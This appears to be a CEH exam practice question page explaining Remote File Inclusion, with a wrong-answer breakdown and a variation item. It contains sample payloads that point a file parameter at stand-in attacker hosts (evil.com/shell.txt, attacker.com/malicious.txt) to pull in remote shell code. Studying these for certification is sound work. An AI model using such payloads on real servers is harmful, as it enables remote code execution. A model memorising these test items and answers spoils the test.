Quick Answer
The correct answer is Remote File Inclusion (RFI). This attack succeeds because the web application’s `file` parameter directly accepts a URL without validating or sanitizing user input, allowing the server to fetch and execute `http://evil.com/shell.txt` as if it were a local resource. When the remote file contains executable code—such as PHP—the attacker gains arbitrary code execution on the server. On the Certified Ethical Hacker CEH exam, this scenario tests your ability to distinguish RFI from Local File Inclusion (LFI) and other injection attacks; a common trap is confusing the two, but remember that RFI always involves an external URL (http:// or ftp://), while LFI uses local paths. A quick memory tip: “Remote = URL, Local = path”—if you see a full web address in the payload, it’s RFI every time.
This CEH practice question tests your understanding of web application and injection attacks. Read the scenario carefully and evaluate each option against the stated constraints before committing to an answer. After answering, compare your reasoning against the explanation and wrong-answer breakdown below. Once you have made your selection, read the full explanation to reinforce the concept and understand why each distractor is designed to mislead on exam day.
An attacker exploits a vulnerable parameter in a web application by submitting the following payload: http://target.com/page.php?file=http://evil.com/shell.txt. The server returns the contents of the remote file. This is an example of which type of attack?
Directory traversal
Why wrong: Directory traversal uses '../' to access local files; this uses a full URL.
Local File Inclusion (LFI)
Why wrong: LFI includes local files, not remote URLs.
Command injection
Why wrong: Command injection involves injecting system commands, not file inclusion.
Remote File Inclusion (RFI)
The payload uses a remote URL, indicating RFI.
Answer choices
Answer the question above first, then reveal the full breakdown to understand why each option is right or wrong.
Correct answer & explanation
Remote File Inclusion (RFI)
Remote File Inclusion (RFI) allows an attacker to include a remote file, often leading to arbitrary code execution if the included file contains PHP or other executable code. The 'file' parameter is used to include a remote resource.
Key principle: Answer the scenario, not the keyword: identify the specific constraint before choosing the most familiar-sounding option.
Answer analysis
For each option: why learners choose it and why it is or isn't the right answer here.
Directory traversal
Why it's wrong here
Directory traversal uses '../' to access local files; this uses a full URL.
Local File Inclusion (LFI)
Why it's wrong here
LFI includes local files, not remote URLs.
Command injection
Why it's wrong here
Command injection involves injecting system commands, not file inclusion.
Remote File Inclusion (RFI)
Why this is correct
The payload uses a remote URL, indicating RFI.
Related concept
Read the scenario before looking for a memorised answer.
Common exam traps
Many certification questions include familiar terms but test a specific constraint. Read the exact wording before choosing an answer that is generally true but wrong for this case.
Trap categories for this question
Command / output trap
Command injection involves injecting system commands, not file inclusion.
Detailed technical explanation
This question should be treated as a scenario, not a definition check. Identify the problem, the constraint and the best action. Then compare each option against those facts.
Key takeaway
Answer the scenario, not the keyword: identify the specific constraint before choosing the most familiar-sounding option.
Real-world example
A practitioner preparing for the CEH exam encounters this exact type of scenario on the job. The correct answer here is not the most general option — it is the best answer for the specific constraint described. Answer the scenario, not the keyword: identify the specific constraint before choosing the most familiar-sounding option. Real exam questions reward reading the full scenario before eliminating options, because the constraint defines which answer fits.
What to study next
Identify which CEH exam domain this question belongs to, then review the specific concept being tested. Practise related questions in that domain and focus on understanding why each wrong answer is tempting — not just why the correct answer is right.
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FAQ
Web Application and Injection Attacks — This question tests Web Application and Injection Attacks — Read the scenario before looking for a memorised answer..
The correct answer is: Remote File Inclusion (RFI) — Remote File Inclusion (RFI) allows an attacker to include a remote file, often leading to arbitrary code execution if the included file contains PHP or other executable code. The 'file' parameter is used to include a remote resource.
Identify which CEH exam domain this question belongs to, then review the specific concept being tested. Practise related questions in that domain and focus on understanding why each wrong answer is tempting — not just why the correct answer is right.
Read the scenario before looking for a memorised answer.
About these practice questions
Courseiva creates original exam-style practice questions with explanations and wrong-answer analysis. It does not publish real exam questions, exam dumps, or protected exam content. Learn why practice questions differ from exam dumps →
Same concept, more angles
These questions test the same concept from different angles. Work through them to make sure you can recognise it however the exam phrases it.
Variation 1. A penetration tester finds that a web application includes files based on user input without proper validation. The tester supplies 'http://attacker.com/malicious.txt' and the application includes its content. Which vulnerability is this?
mediumWhy B: Including a remote file from an attacker-controlled server is Remote File Inclusion (RFI).
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Last reviewed: Jun 21, 2026
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